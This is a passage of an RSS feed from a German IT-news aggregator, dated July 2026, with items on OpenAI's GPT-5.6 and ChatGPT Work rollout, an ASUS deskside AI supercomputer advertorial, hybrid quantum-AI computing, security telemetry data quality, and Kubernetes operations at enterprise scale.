<content:encoded><![CDATA[OpenAI has received approval from the Trump administration to publicly roll out GPT-5.6 after an earlier limited preview restricted access to government-approved organizations. The company also launched ChatGPT Work, a new GPT-5.6-powered agent that combines ChatGPT and Codex-style capabilities. "It can gather context from the apps, files, and workflows you choose and create finished materials such as documents, spreadsheets, presentations, and web apps," OpenAI wrote in a blog post, adding that a "unified plugins directory" allows ChatGPT to connect to tools like Slack, Gmail, Google Drive, calendars, and CRMs. The Verge reports: Mac and Windows users worldwide, including free ChatGPT users, should have immediate access to ChatGPT Work and GPT-5.6 via the ChatGPT desktop app. On mobile and the web, Pro, Enterprise, and Edu users will first get access, while Plus and Business users will receive access "over the next few days," OpenAI wrote, adding that the "rollout is starting globally and will continue gradually toward full availability over the next 24 hours."
 
[...] OpenAI is hoping that its new product, which is a direct competitor to Anthropic's Claude Cowork (combining its own Claude and Claude Code), will push it ahead in the race. OpenAI is especially banking on Sol, the most powerful of the GPT-5.6 model suite, to set "a new standard for intelligence and efficiency," particularly when it comes to coding, cybersecurity, and science, as well as computer use capabilities. The company is also marketing the model as a lower-cost alternative to competitors' most powerful models, amid complaints of an industry-wide money squeeze and AI lab costs being passed onto customers.<p></p><div class="share_submission">
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</div><p><a href="https://slashdot.org/story/26/07/09/1821245/openai-rolls-out-gpt-56-after-government-greenlight-announces-chatgpt-work?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[AWS GraphRAG deployment cuts drug research cycles by 87%]]></title>
<description><![CDATA[A recent AWS GraphRAG deployment reduced drug research and development cycles in pharmaceutical environments by 87 percent. This acceleration is achieved by integrating previously separated proprietary databases into a unified and queryable knowledge graph. Historically, initial data gathering an...]]></description>
<link>https://tsecurity.de/de/3657639/ai-nachrichten/aws-graphrag-deployment-cuts-drug-research-cycles-by-87/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657639/ai-nachrichten/aws-graphrag-deployment-cuts-drug-research-cycles-by-87/</guid>
<pubDate>Thu, 09 Jul 2026 18:03:57 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A recent AWS GraphRAG deployment reduced drug research and development cycles in pharmaceutical environments by 87 percent. This acceleration is achieved by integrating previously separated proprietary databases into a unified and queryable knowledge graph. Historically, initial data gathering and screening phases took over six months per iteration, yielding a low five percent success rate. Crucial […]</p>
<p>The post <a href="https://www.artificialintelligence-news.com/news/aws-graphrag-deployment-cuts-drug-research-cycles-by-87/">AWS GraphRAG deployment cuts drug research cycles by 87%</a> appeared first on <a href="https://www.artificialintelligence-news.com/">AI News</a>.</p>]]></content:encoded>
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<title><![CDATA[AI’s real bottleneck isn’t compute. It’s distance.]]></title>
<description><![CDATA[A researcher has an idea worth testing before lunch. The model is ready. The data is sitting right there. But the data is sensitive — regulated, proprietary; the kind that legal has been very clear cannot leave the building. So it can’t go to the cloud cluster. And even if it could, the GPU queue...]]></description>
<link>https://tsecurity.de/de/3657618/it-nachrichten/ais-real-bottleneck-isnt-compute-its-distance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657618/it-nachrichten/ais-real-bottleneck-isnt-compute-its-distance/</guid>
<pubDate>Thu, 09 Jul 2026 18:02:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>A researcher has an idea worth testing before lunch. The model is ready. The data is sitting right there. But the data is sensitive — regulated, proprietary; the kind that legal has been very clear cannot leave the building. So it can’t go to the cloud cluster. And even if it could, the GPU queue is hours deep, the meter is running, and by the time the run finishes and the bill lands, the spark of the idea has cooled into a ticket in a backlog. </p>



<p>This is the unglamorous reality behind a lot of enterprise AI. Not a shortage of talent or ambition, but friction — the quiet tax paid every time a brilliant question has totravel a long way to find the computer that can answer it. We’ve spent the better part of a decade assuming that distance didn’t matter, that everything important would happen in some vast facility hundreds of miles away. For a whole class of work, that assumption is now the thing holding teams back. </p>



<h3 class="wp-block-heading"><strong>The last mile of AI</strong> </h3>



<p>Cloud and hyperscale data centers did something extraordinary: they made a near-infinite compute available to anyone with a credit card. That scale is genuinely irreplaceable for training frontier models. But scale solved the wrong problem for a surprising number of teams. </p>



<p>Because a lot of real AI work isn’t a once-a-quarter mega run, it’s iteration — fine-tuning, experimenting, debugging, testing an agent’s behavior, running a model against data that’s too sensitive or too large to keep shipping back and forth. That work rewards <em>immediacy</em> and <em>control</em>, not raw scale. And on those two axes, the cloud-only model starts to strain in three ways. </p>



<p><strong>Governance is the first.</strong> The most valuable enterprise data is often the data that’s hardest to move — patient records, financial details, proprietary source code, designs under NDA. Sending it to a shared, off-premises environment can mean a compliance review, a risk sign-off, or simply a “no.” When the data can’t travel, neither can the AI work that depends on it — unless the compute comes to the data instead. </p>



<p><strong>Velocity is the second.</strong> AI progress is a function of how many experiments a team can run per week. Every cloud queue, every cold start, every round trip between a workstation and a remote cluster adds latency not just to a job but to <em>learning</em>. The teams that win aren’t the ones with the biggest single run; they’re the ones who can iterate fastest, privately, without asking permission. </p>



<p><strong>And then there’s the missing middle.</strong> Until recently, professionals had two options, and a chasm between them. On one side, a traditional workstation — convenient and local, but utterly unable to hold a trillion-parameter model in memory. On the other, a data center you don’t own, don’t control, and have to wait in line for. There was nothing in between: no way to put genuine, data-center-class AI power directly under the desk of the person doing the work. </p>



<p>That gap is exactly where the next wave of productivity is hiding. </p>



<h3 class="wp-block-heading"><strong>When the supercomputer comes back to the desk</strong> </h3>



<p>Computing has always swung between the central and the personal. The mainframe gave way to the PC. Now, after a decade of centralizing intelligence in the cloud, the pendulum is swinging again — and the supercomputer is coming back to the desk, this time built specifically for AI. </p>



<p>The implications for IT leaders are strategic, not just technical. A local, private AI supercomputer means sensitive workloads stay under the organization’s own governance. It means a predictable cost instead of a variable cloud meter. It means teams iterate at the speed of their own curiosity. And it means the data center is still there when a workload genuinely needs to scale — connected, not replaced. The goal isn’t to abandon the cloud. It’s to close the last mile. </p>



<h3 class="wp-block-heading"><strong>The deskside AI supercomputer: ASUS ExpertCenter Pro ET900N G3</strong> </h3>



<p>This is the gap the <strong>ASUS ExpertCenter Pro ET900N G3</strong> is engineered to close. Built on NVIDIA DGX Station architecture and powered by the NVIDIA GB300 Grace Blackwell Ultra Desktop Superchip, it brings data-center-class AI to a system that fits on a standard desk — a deskside AI supercomputer purpose-built for the way AI teams actually work. </p>



<p>What that delivers, mapped to the friction it removes: </p>



<ul class="wp-block-list">
<li><strong>Run the big models locally.</strong> With 748GB of coherent unified memory and up to 20 PFLOPS of AI performance, the ET900N G3 can develop and run trillion-parameter models and autonomous AI agents right at the deskside — far beyond the reach of a conventional workstation, and without a trip to a shared cluster. </li>
</ul>



<ul class="wp-block-list">
<li><strong>Keep sensitive work private.</strong> Because the compute lives where the team and the data do, sensitive and regulated workloads can stay on-premises under the organization’s own governance. Full compatibility with NVIDIA AI Enterprise and NVIDIA NemoClaw enables enterprises to build and run always-on AI assistants and agents within a secure, local environment. </li>
</ul>



<ul class="wp-block-list">
<li><strong>Iterate without waiting.</strong> A 72-core NVIDIA Grace CPU paired with an NVIDIA Blackwell Ultra GPU over high-bandwidth NVLink-C2C interconnect puts supercomputer-class iteration at a developer’s fingertips — no queue, no cold start, no round-trip. </li>
</ul>



<ul class="wp-block-list">
<li><strong>Scale out when you need to.</strong> An integrated NVIDIA ConnectX-8 SuperNIC provides up to 800 Gbps of networking, so the deskside system bridges cleanly to data center infrastructure when a workload outgrows the desk. </li>
</ul>



<ul class="wp-block-list">
<li><strong>Run it around the clock.</strong> Data-center-grade thermal design built for sustained 24/7 operation means the system maintains peak performance through long training and inference runs rather than throttling when the work gets serious. </li>
</ul>



<p>And it runs the NVIDIA AI software stack out of the box, giving development teams a turnkey environment for training, fine-tuning, inference, and agentic AI from day one. </p>



<h3 class="wp-block-heading"><strong>The question worth asking now</strong> </h3>



<p>For years, the strategic question in AI infrastructure was <em>how big a cluster can we reach.</em> For a growing share of the work that actually moves a business forward, the better question is: how close can we put the power in the hands of<em> the people doing the work?</em> </p>



<p>The idea was never the bottleneck. The distance was. Closing it is the next advantage. </p>



<p>Discover how the ASUS ExpertCenter Pro ET900N G3 brings data-center-class AI to the deskside. Visit us <a href="https://url.usb.m.mimecastprotect.com/s/EeB2Cxo0l0UrX9KNIvh9cyHZgE?domain=asus.com" target="_blank" rel="sponsored">here</a> to learn more.  </p>
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<title><![CDATA[AI tie-in accelerates quantum usefulness, early adopters say]]></title>
<description><![CDATA[Quantum computers are still two to five years away from full-scale production, but early users like the Cleveland Clinic and Mitsubishi Chemical are already seeing benefits, particularly when quantum is used in conjunction with AI and high-performance computing.



“We are starting to see real ap...]]></description>
<link>https://tsecurity.de/de/3657220/it-security-nachrichten/ai-tie-in-accelerates-quantum-usefulness-early-adopters-say/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657220/it-security-nachrichten/ai-tie-in-accelerates-quantum-usefulness-early-adopters-say/</guid>
<pubDate>Thu, 09 Jul 2026 15:38:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p><a href="https://www.networkworld.com/article/4117438/quantum-computing-is-getting-closer-but-quantum-proof-encryption-remains-elusive.html" target="_blank">Quantum computers</a> are still two to five years away from full-scale production, but early users like the Cleveland Clinic and Mitsubishi Chemical are already seeing benefits, particularly when quantum is used in conjunction with AI and high-performance computing.</p>



<p>“We are starting to see real applications of it,” says <a href="https://www.linkedin.com/in/lara-jehi-md-mhcds-67278a45/" target="_blank" rel="noreferrer noopener">Lara Jehi</a>, chief research information officer at Cleveland Clinic, and one of the keynote speakers at the <a href="https://www.alphaevents.com/events-quantumtechus/faq" target="_blank" rel="noreferrer noopener">Quantum Tech World conference in Boston</a> in late June.</p>



<p>And the technology is moving faster than anyone could have predicted, she tells <em>Network World</em>. For example, in the fall of 2024, the largest simulation that <a href="https://www.networkworld.com/article/4115513/what-enterprises-think-about-quantum-computing.html">quantum computers</a> could handle was just ten atoms, she says. “Roadmaps in the industry were hypothesizing that getting past the 10,000-atom threshold would take another five to seven years.”</p>



<p>This year, the Cleveland Clinic simulated protein complexes of <a href="https://newsroom.clevelandclinic.org/2026/05/05/cleveland-clinic-riken-and-ibm-model-a-12635-atom-protein--the-largest-known-to-be-simulated-with-quantum-computers" target="_blank" rel="noreferrer noopener">up to 12,635 atoms</a>. “We would not have been able to do the same analysis classically,” she says.</p>



<p>But even a protein of this size is still too small to be clinically relevant, she adds. For something with real-world applications, you’d need to be in the ballpark of a million atoms. And that’s not out of reach. “I think we’re very close, I’m very confident,” she says. “One or two years.”</p>



<p>And even today, by <a href="https://www.networkworld.com/article/4144645/ibm-proposes-unified-architecture-for-hybrid-quantum-classical-computing.html" target="_blank">combining quantum computing with AI running on classical computers</a>, it’s possible to do interesting work. For example, simulating how well a compound will bind to a protein in real time is too big a problem for either AI or a quantum computer to handle on its own.</p>



<p>“But AI can do a good job identifying where in that large molecule are the particular spots where you need that extra layer of accuracy,” she says. “We use classical computing up front to identify these highest tier fragments and then zoom in to those fragments with the higher resolution that quantum can provide for better simulation.”</p>



<p>Mitsubishi Chemical has been experimenting with quantum computing since 2018, for quantum chemical calculations and optimization problems, and the technology works.</p>



<p>“We want to try to have it in production use by the end of this year, or maybe the beginning of next year,” says Qi Gao, distinguished scientist in the materials design laboratory of the <a href="https://www.linkedin.com/company/mitsubishi-chemical-america/posts/" target="_blank" rel="noreferrer noopener">Mitsubishi Chemical Corporation</a> Science and Innovation Center. The first use cases will be in advanced semiconductor materials, helping design new materials for computer chips.</p>



<p>“Two-nanometer chips require high energy resolution, which is impossible for classical computer simulations,” he says. “So, we have to use quantum computers.”</p>



<p>The plan is to simulate metal oxide, which is a photo-resistant material used in etching patterns into computer chips. This is a simulation that cannot be done classically, Gao says. It will take a couple of years to fully develop the algorithms to make it work, he says, but the industry is moving towards practical business use.</p>



<p>“Every company is looking at 2028, 2029, or 2030,” he says. “We think 2028 and 2029 will be very important years in quantum computing.”</p>



<p><a href="https://www.softbank.jp/en/" target="_blank" rel="noreferrer noopener">SoftBank Corp.</a> is looking at a similar timeframe for commercializing its quantum computing offerings. The company connects customers to IBM and <a href="https://www.quantinuum.com/" target="_blank" rel="noreferrer noopener">Quantinuum</a> machines at Riken through its AI data center, with 21 pilot projects now ongoing with pilot customers.</p>



<p>“Within our AI data center, we have already built the supercomputer level,” says <a href="https://www.linkedin.com/in/nobushige-oguri-2949525/" target="_blank" rel="noreferrer noopener">Nobushige Oguri</a>, director of the quantum business planning department of the quantum technology divisions at SoftBank Corp. “It’s a world-class supercomputer, but it’s just set up for processing AI. The quantum computer will be the new accelerator to enhance current AI capability.”</p>



<p>It’s this <a href="https://www.networkworld.com/article/4131660/ibm-research-when-ai-and-quantum-merge.html" target="_blank">hybrid use</a> of AI and quantum together that will accelerate adoption, he tells <em>Network World</em>. <a href="https://www.linkedin.com/in/juliette-peyronnet05/" target="_blank" rel="noreferrer noopener">Juliette Peyronnet</a>, U.S. general manager at <a href="https://alice-bob.com/" target="_blank" rel="noreferrer noopener">Alice &amp; Bob</a>, agrees that the hybrid approach is the best bet, with quantum computers augmenting today’s technology, not replacing it.</p>



<p>“Quantum processing units are very specialized devices,” she says. “They can’t solve your everyday problems. They’re really bad at doing basic math.”</p>



<p>Instead, just like the way that CPUs do the bulk of computing work and GPUs are used for AI-related tasks, quantum processors will be used to handle the challenges that traditional computers can’t tackle.</p>



<p>“We know that quantum computers are not going to work in isolation,” she says.</p>



<h2 class="wp-block-heading">A maturing ecosystem</h2>



<p>Another sign that quantum computing is starting to move out of the laboratory and into real-world use is the emergence of a quantum ecosystem, with multiple hardware and software providers filling in all the gaps.</p>



<p>“I’ve been 15 years in field, as a researcher and now as a CEO, and it’s been changing dramatically and accelerating very fast,” says <a href="https://www.linkedin.com/in/mpestarellas/" target="_blank" rel="noreferrer noopener">Marta Estarellas</a>, CEO at <a href="https://qilimanjaro.tech/" target="_blank" rel="noreferrer noopener">Qilimanjaro Quantum Tech</a>, a quantum computing company based in Spain that makes superconducting qubits. And, today, quantum computing companies no longer need to make every single component from scratch, she says.</p>



<p>“Now what you see are a lot of spinoffs and startups starting to build different layers of the supply chain,” she tells <em>Network World</em>. “Which is great. Players like ours don’t have to think about building the full stack and can delegate to third parties—and that really helps push forward the technology.”</p>



<p>The <a href="https://iqnhub.org/event/quantum-tech-2026/" target="_blank" rel="noreferrer noopener">Quantum Tech World conference</a> showcases this ecosystem, she says. According to conference organizers, more than 1,300 people attended this year, and there were more than one hundred sponsors. Among them were multiple quantum computer makers, including <a href="https://quantumcomputinginc.com/" target="_blank" rel="noreferrer noopener">Quantum Computing Inc.,</a> a maker of room-temperature photonic computers, which ran a real-time demo of a fraud detection algorithm that beat the best classical method and scales linearly with data set size instead of quadratically. There were also software companies, consulting firms, and other specialized providers.</p>



<p>“Our booth has been packed,” says <a href="https://www.linkedin.com/in/jason-silbergleit/" target="_blank" rel="noreferrer noopener">Jason Silbergleit</a>, head of Americas at <a href="https://www.classiq.io/" target="_blank" rel="noreferrer noopener">Classiq</a>, an orchestration software company that provides an abstraction layer that makes it easier for non-scientists to build quantum applications. “More and more users want to take advantage of the platform. Even in the past six months—three months—the amount of acceleration and interest is growing.”</p>



<p>“We’re shifting from very fundamental and exploratory, building one-off kinds of systems and devices, to making things that are scalable,” says <a href="https://quantumconsortium.org/speakers/celia-merzbacher/" target="_blank" rel="noreferrer noopener">Celia Merzbacher</a>, executive director at the <a href="https://quantumconsortium.org/speakers/celia-merzbacher/" target="_blank" rel="noreferrer noopener">Quantum Economic Development Consortium</a>. “And within a timeframe that private investors and end users are willing to start to engage.”</p>



<p>The momentum is apparent on a number of fronts, she tells <em>Network World</em>. Quantum companies are getting new rounds of investment, and governments are making commitments. </p>



<p>According to a <a href="https://quantumconsortium.org/publication/2026-state-of-the-global-quantum-industry-report/" target="_blank" rel="noreferrer noopener">report</a> her organization released in April, there are now 556 pure-play quantum companies and more than 7,000 “quantum-engaged” organizations. The quantum industry saw $1.9 billion in revenues in 2025, up 30% from the year before. There was also $12.7 billion in new government funding commitments last year, up more than 300% from 2024, and $4.9 billion in new private venture capital investment, an increase of nearly 200%.</p>



<p>“And the number of people who are really rolling up their sleeves and doing the work that needs to be done to advance the hardware and the software—I think there’s just a momentum that is quite visible,” she says.</p>
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<title><![CDATA[NordVPN expands scam text protection to all Android users worldwide]]></title>
<description><![CDATA[NordVPN has rolled out Message Protection to Android users worldwide, screening incoming SMS for scams and joining Call Protection in one unified screen.]]></description>
<link>https://tsecurity.de/de/3657106/it-nachrichten/nordvpn-expands-scam-text-protection-to-all-android-users-worldwide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657106/it-nachrichten/nordvpn-expands-scam-text-protection-to-all-android-users-worldwide/</guid>
<pubDate>Thu, 09 Jul 2026 15:02:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NordVPN has rolled out Message Protection to Android users worldwide, screening incoming SMS for scams and joining Call Protection in one unified screen.]]></content:encoded>
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<title><![CDATA[Why fixing your data architecture matters more than upgrading your detection models]]></title>
<description><![CDATA[Security leaders have been on a spending sprint. The global AI in cybersecurity market is valued at $44 billion in 2026 and is projected to reach $213 billion by 2034, a trajectory that reflects genuine belief that machine learning will close the gap between the volume of threats and the capacity...]]></description>
<link>https://tsecurity.de/de/3656446/it-security-nachrichten/why-fixing-your-data-architecture-matters-more-than-upgrading-your-detection-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656446/it-security-nachrichten/why-fixing-your-data-architecture-matters-more-than-upgrading-your-detection-models/</guid>
<pubDate>Thu, 09 Jul 2026 11:08:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Security leaders have been on a spending sprint. The global AI in cybersecurity market is valued at <a href="https://www.fortunebusinessinsights.com/artificial-intelligence-in-cybersecurity-market-113125">$44 billion in 2026 and is projected to reach $213 billion by 2034</a>, a trajectory that reflects genuine belief that machine learning will close the gap between the volume of threats and the capacity of human analysts. That belief is not wrong. What is wrong is where most organizations focus when the tools stop working.</p>



<p>When AI-driven detection underperforms, the instinct is to tune the algorithm, retrain the model or push the vendor for a better product. The real culprit, in most cases, is sitting upstream in the data pipelines long before any model ever sees an event. Fragmented telemetry, inconsistent schemas and stale behavioral baselines are quietly degrading the performance of AI security systems across the enterprise. Fixing the algorithm without fixing the data is like recalibrating a scale while the input keeps changing.</p>



<h2 class="wp-block-heading">The tool sprawl problem nobody talks about at the data level</h2>



<p>Most large enterprises are not working with clean, unified security data. They are working with decades of accumulated infrastructure decisions. <a href="https://venturebeat.com/business/enterprises-struggle-with-security-monitoring-tool-sprawl">Research shows the average enterprise runs 83 different security products from 29 separate vendors</a>, and SOC teams absorb nearly 3,000 alerts per day, with 63 percent going unaddressed. Each of those tools generates its own telemetry in its own format, with its own field naming conventions, timestamp standards and metadata schemas.</p>



<p>Human analysts develop an intuition for navigating that inconsistency. Machine learning models do not. A behavioral detection model trained to correlate authentication events across your identity platform, your endpoint agent and your cloud access broker will produce unreliable results if those three tools call the same field three different names. The model is not broken. It is being fed structurally incoherent data and asked to find patterns in the noise.</p>



<h2 class="wp-block-heading">What schema drift actually costs you</h2>



<p>This is where the problem becomes invisible and expensive. Schema drift, the gradual mutation of data formats across security pipelines over time, rarely triggers an alert. Log formats change when vendors push updates. New telemetry sources add fields that did not previously exist. Identity platforms rename attributes without notifying the security engineering team. Over months, the statistical patterns that trained your behavioral detection models no longer match the data those models are receiving in production.</p>



<p>The downstream effects are exactly what most CISOs are already experiencing: Elevated false positive rates, analyst fatigue and detection gaps that only become visible after an incident. What most security leaders do not realize is that those symptoms trace back to the data layer, not the algorithm layer. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Gartner projects that through 2026, organizations will abandon 60 percent of AI projects due to insufficient data quality</a>, and the pattern is playing out in security operations as visibly as anywhere else.</p>



<h2 class="wp-block-heading">Stale baselines are an attacker advantage</h2>



<p>The data freshness problem is underappreciated as a security risk. Behavioral AI models build baselines from historical activity. In fast-changing enterprise environments, those baselines go stale faster than most security teams recognize.</p>



<p>The shift to hybrid work changed access patterns dramatically. Cloud adoption changed which resources users interact with and when. Mergers and acquisitions introduce new user populations with entirely different behavioral profiles. When AI models evaluate today’s activity against baselines built from a workforce and infrastructure that no longer exist, the results are predictable: Legitimate access triggers anomaly alerts, and sophisticated attackers who study baseline patterns can blend in precisely because the model’s assumptions have not kept up with the environment.</p>



<p><a href="https://www.ibm.com/think/insights/cost-of-poor-data-quality">IBM research on data quality costs</a> puts the average annual cost of poor data quality at $12.9 million per organization. In a security context, that figure does not capture the incident response costs, regulatory exposure or reputational damage that follow from a detection failure rooted in bad data architecture.</p>



<h2 class="wp-block-heading">The organizational gap that keeps this problem in place</h2>



<p>The reason this issue persists is structural. Data pipelines are typically managed by data or infrastructure engineering teams. Detection models are owned by SOC analysts or threat intelligence teams. The AI systems that sit between those two functions often belong to neither. When detection quality drops, security teams tune parameters. Engineering teams focus on pipeline cost and availability. Nobody owns the analytical consistency of the data flowing through the system, because no one’s job description covers that specific gap.</p>



<p>This is a leadership problem before it is a technical one. CISOs who want AI security tools to perform as advertised need to close that ownership gap and treat security telemetry with the same rigor applied to other business-critical data assets.</p>



<h2 class="wp-block-heading">Three priorities for security leaders</h2>



<p>Addressing this does not require a platform replacement or a multi-year transformation program. It requires deliberate attention to three areas:</p>



<ol class="wp-block-list">
<li><strong>Standardize telemetry schemas across your security stack.</strong> A unified schema, even an imperfect one, gives machine learning models a consistent foundation. Establish naming conventions for common fields, normalize timestamp formats and document deviations when vendors cannot comply. This is not a one-time project. It is ongoing governance.</li>



<li><strong>Build data quality monitoring into every ingestion pipeline.</strong> Before any event reaches an ML system, validate it for missing fields, timestamp anomalies and schema deviations. Catching data drift at ingestion is far cheaper than diagnosing detection failures after a real incident or after an attacker has already moved laterally.</li>



<li><strong>Apply governance discipline to security data, not just business data.</strong> Lineage tracking, validation rules and version-controlled schemas belong in security pipelines as much as they belong in financial reporting pipelines. Security telemetry is a critical business asset and should be managed accordingly.</li>
</ol>



<p>The AI-powered security tools in your stack are capable of delivering real value against modern threats. But that capability is entirely contingent on the quality, consistency and freshness of the data flowing into them. Before your organization invests another dollar in model tuning or platform upgrades, ask a harder and more productive question: When did anyone last audit the pipelines those models actually depend on?</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[Practical challenges in managing Kubernetes at enterprise scale]]></title>
<description><![CDATA[The first time I used Kubernetes in an enterprise setting, I understood the hype. It gives every team the same way to package, deploy and run their apps. No more custom scripts or unique deployment hacks, just one control plane to rule them all. And really, that’s why it’s so popular with big com...]]></description>
<link>https://tsecurity.de/de/3656431/ai-nachrichten/practical-challenges-in-managing-kubernetes-at-enterprise-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656431/ai-nachrichten/practical-challenges-in-managing-kubernetes-at-enterprise-scale/</guid>
<pubDate>Thu, 09 Jul 2026 11:03:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>The first time I used Kubernetes in an enterprise setting, I understood the hype. It gives every team the same way to package, deploy and run their apps. No more custom scripts or unique deployment hacks, just one control plane to rule them all. And really, that’s why it’s so popular with big companies: <a href="https://kubernetes.io/">Kubernetes</a> is an open-source system for automating deployment, scaling and management of containerized applications. It says so right on the box, and that’s what people want. But here’s the truth: Kubernetes doesn’t erase operational headaches. It just moves them around.</p>



<p>When your Kubernetes install is small, it feels like rocket fuel for engineers. At enterprise scale, though, suddenly it’s about governance, not just engineering. The game is no longer “Can we get this container running?” It’s “How do hundreds of engineers roll out their stuff safely, consistently, securely and without breaking the bank or burning out the platform team?”</p>



<p>This is where the fun really starts.</p>



<h2 class="wp-block-heading">YAML isn’t the enemy</h2>



<p>Folks new to Kubernetes obsesses over manifests, Helm charts, namespaces, ingress rules, deployments, all that stuff. But they’re not the hardest part once you start scaling. The real beast is standardization.</p>



<p>Every big company I’ve seen ends up with teams going their own way. One group writes beautiful deployment templates. Someone else copies and pastes from a two-year-old manifest. Some folks set resource requirements properly. Others skip them entirely. One team sticks to a strong naming convention, and someone else throws together random namespaces and service accounts that make sense only to them. Individually, this more or less works. At scale, when the whole platform has to operate like one system, it’s a mess.</p>



<p>That’s why I’ll say it: you don’t just need a Kubernetes cluster. You need a paved road. This would involve ensuring that there are approved templates, good deployment patterns, observability, security controls as defaults, good issue escalation processes and accountability.</p>



<p>There is no need for developers to be Kubernetes experts just to release their services. The best enterprise Kubernetes setups work like real products. They let application teams self-serve but never let anyone veer off road without good reason.</p>



<h2 class="wp-block-heading">RBAC: necessary, but never enough</h2>



<p>Security is paramount. Kubernetes supports <a href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/">role-based access control (RBAC)</a>, so on paper you can control who does what. In practice, in a big company, RBAC gets confusing fast.</p>



<p>The issue isn’t that engineers ignore security. It’s that permissions grow over time. You need a quick fix during an incident, so you give a service account more access. Maybe a team needs cluster-wide rights for a migration. That “just for now” permission sticks around because no one cleans it up. Month by month, the gap widens between what a workload should do and what it’s actually allowed to do. The only thing that works long-term: treat RBAC as a living thing, not a one-time checklist. Review it. Test it. Stick to least privilege. Service accounts get only what they need. Cluster-admin rights? Rare. Expiring exceptions. Set permissions as code so changes aren’t invisible.</p>



<p>Same story with workload security. Kubernetes brings you <a href="https://kubernetes.io/docs/concepts/security/pod-security-standards/">Pod Security Standards</a>. There is baseline, restricted and privileged profiles, so everyone speaks the same language. But simply setting a standard isn’t enough. We’d also need things like admission controls, image scanning, runtime monitoring and audit trails.</p>



<p>Honestly, the NSA/CISA Kubernetes Hardening Guidance is still gold. Scan containers and pods. Run workloads as locked down as possible. Use strong authentication. Separate networks. Set up solid logging. These ideas sound obvious until you see what happens when your organization scales without good ops.</p>



<h2 class="wp-block-heading">Network policies: where “it should work” meets reality</h2>



<p>Kubernetes networking can trip up even the best teams. Engineers often think different namespaces mean automatic isolation between apps. Not true.</p>



<p><a href="https://kubernetes.io/docs/concepts/services-networking/network-policies/">Kubernetes network policies</a> decide which pods can talk to which, but the policies only matter if your networking plugin actually enforces them. I’ve seen a lot of teams write network controls that look great in YAML but don’t work, because the underlying network just ignores them. Security validation beats documentation every time. If two namespaces shouldn’t talk, test it. If a workload only needs access to a specific backend, check it. If only specific ingress is allowed, make sure nothing else gets through.</p>



<p>At scale, your Kubernetes security has to prove itself. “We have a policy” means nothing unless the platform can show the policy actually works.</p>



<h2 class="wp-block-heading">Resource management becomes all about money</h2>



<p>One of the biggest challenge is resource allocation. Kubernetes lets you set CPU and memory limits, and sure, there are official docs. But getting these numbers right is tough.</p>



<p>Set them too low, and your workload might get throttled or evicted under load. Set them too high, and you’re paying for unused infrastructure. That barely registers on a small cluster, but when you’re running thousands of pods? That’s cloud bills gone wild.</p>



<p>This is where Kubernetes ops and FinOps meet. Platform teams have to know who’s burning through which resources, what’s over-provisioned or flying blind, and where the real money goes. ResourceQuota helps keep things in check, but quotas alone don’t hold people accountable.</p>



<p>The culture shift is moving from “the cluster has spare capacity” to “every service has an owner, a cost profile and a plan for staying lean.” Teams should understand their infrastructure bill. Platform teams need dashboards that point out waste. Engineering leaders need to care about efficiency, not just hear from finance when things go off the rails.</p>



<h2 class="wp-block-heading">Autoscaling isn’t a magic trick</h2>



<p>The Horizontal Pod Autoscaler is handy. It adjusts your workloads automatically to match demand. But don’t overestimate it. Most real-world services don’t scale simply by CPU or memory. Sometimes a service hits latency limits before CPU usage spikes. Workers chewing through queues? You care more about backlog size. Machine learning? Maybe it’s all about GPU use or loading time. Customer-facing apps? You want to be scaled up before traffic hits, not scramble after users start complaining.</p>



<p><br>So autoscaling isn’t just a box you check. It’s a feedback loop, and it only works if you use the right signals. Sometimes CPU is enough. Sometimes you need to scale on queue length, request rate, latency or something totally custom.</p>



<p>Then there’s node autoscaling to provision infrastructure in response to demand. On paper, it just works. In real life, it runs into startup delays, availability zones, quotas, cloud provider quirks and pod disruption budgets. Scale pods faster than nodes? Users still see delays.</p>



<p>Test autoscaling like you test your app. Load-test it, break it, see what happens after an incident. Otherwise, you’ll find the limits when it hurts most.</p>



<h2 class="wp-block-heading">Observability doesn’t matter unless it answers questions</h2>



<p>Kubernetes has mountains of data. Things like  logs, metrics, traces, events, audits, deployment history, container restarts, control plane noise, you name it. The real challenge isn’t collecting info, but actually it’s making sense of it. The CNCF and others have best practices for logging and telemetry, like centralizing logs and not leaking secrets. Those matter, but at the end of the day, engineers need answers, not just data. When something breaks, no one’s asking, “Is Kubernetes alive?” They want to know what changed. Did something roll out? Did a pod crash? Did autoscaling fire too late? Was a node unhealthy, a secret rotated, a network policy too tight, a downstream DB choking?</p>



<p>Observability should line up with real operational questions and not just ticking boxes for logs, or metrics. Dashboards need to match service ownership. Alerts need to mean something to end users. Telemetry should connect to deployments and incidents. Measure how quickly engineers spot the root cause, not just that you have the data somewhere.</p>



<p>CNCF talks about newer models of unified telemetry and proactive troubleshooting for a reason. All the dashboards in the world don’t help when your team has to play detective during an outage.</p>



<h2 class="wp-block-heading">Upgrades: Don’t wing it</h2>



<p>Kubernetes upgrades catch people out. The CNCF Maturity Model says: Kubernetes drops three big releases a year, so maintenance is part of life—not a once-in-a-blue-moon project.</p>



